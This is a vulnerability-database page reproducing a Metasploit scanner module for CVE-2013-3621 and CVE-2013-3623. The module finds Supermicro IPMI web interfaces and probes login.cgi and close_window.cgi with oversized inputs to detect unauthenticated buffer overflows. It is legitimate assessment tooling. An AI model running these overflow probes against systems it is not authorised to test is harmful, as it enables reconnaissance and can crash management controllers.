Lucene search
K

Supermicro Onboard IPMI CGI Scanner

🗓️ 01 Sep 2024 00:00:00Reported by H D Moore, juan vazquez, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 392 Views

Supermicro Onboard IPMI CGI Scanner module checks for known vulnerabilities in the CGI applications of Supermicro Onboard IPMI controllers such as unauthenticated buffer overflows in login.cgi and close_window.cgi.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner',  
'Description' => %q{  
This module checks for known vulnerabilities in the CGI applications of  
Supermicro Onboard IPMI controllers. These issues currently include  
several unauthenticated buffer overflows in the login.cgi and close_window.cgi  
components.  
},  
'Author' =>  
[  
'hdm', # Discovery and analysis  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-3621' ],  
[ 'CVE', '2013-3623' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/']  
],  
'DisclosureDate' => '2013-11-06'))  
  
end  
  
def is_supermicro?  
res = send_request_cgi(  
{  
"uri" => "/",  
"method" => "GET"  
})  
  
if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./  
return true  
else  
return false  
end  
end  
  
def send_close_window_request(sess)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi/close_window.cgi",  
'encode_params' => false,  
'vars_post' => {  
'sess_sid' => sess  
}  
})  
  
return res  
end  
  
def check_close_window  
safe_check = Rex::Text.rand_text_alpha(20)  
trigger_check = Rex::Text.rand_text_alpha(132)  
  
res = send_close_window_request(safe_check)  
  
unless res and res.code == 200 and res.body.to_s =~ /Can't find action/  
return false  
end  
  
res = send_close_window_request(trigger_check)  
  
unless res and res.code == 500  
return false  
end  
  
return true  
end  
  
def send_login_request(name)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi/login.cgi",  
'encode_params' => false,  
'vars_post' => {  
'name' => name,  
'pwd' => Rex::Text.rand_text_alpha(4)  
}  
})  
  
return res  
end  
  
  
def check_login  
safe_check = Rex::Text.rand_text_alpha(20)  
trigger_check = Rex::Text.rand_text_alpha(300)  
  
res = send_login_request(safe_check)  
  
unless res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ and res.body.to_s =~ /top\.location\.href = location\.href/  
return false  
end  
  
res = send_login_request(trigger_check)  
  
unless res and res.code == 500  
return false  
end  
  
return true  
end  
  
  
def run_host(ip)  
vprint_status("Checking if it's a Supermicro IPMI web interface...")  
if is_supermicro?  
vprint_good("Supermicro IPMI web interface found")  
else  
vprint_error("Supermicro IPMI web interface not found")  
return  
end  
  
vprint_status("Checking CVE-2013-3621 (login.gi Buffer Overflow) ...")  
result = check_login  
if result  
print_good("Vulnerable to CVE-2013-3621 (login.cgi Buffer Overflow)")  
report_vuln({  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => "Supermicro Onboard IPMI login.cgi Buffer Overflow",  
:refs => self.references.select do |ref| ref.ctx_val == "2013-3621" end  
})  
end  
  
vprint_status("Checking CVE-2013-3623 (close_window.gi Buffer Overflow) ...")  
result = check_close_window  
if result  
print_good("Vulnerable to CVE-2013-3623 (close_window.cgi Buffer Overflow)")  
report_vuln({  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => "Supermicro Onboard IPMI close_window.cgi Buffer Overflow",  
:refs => self.references.select { |ref| ref.ctx_val == "2013-3623" }  
})  
end  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 210
EPSS0.8637
392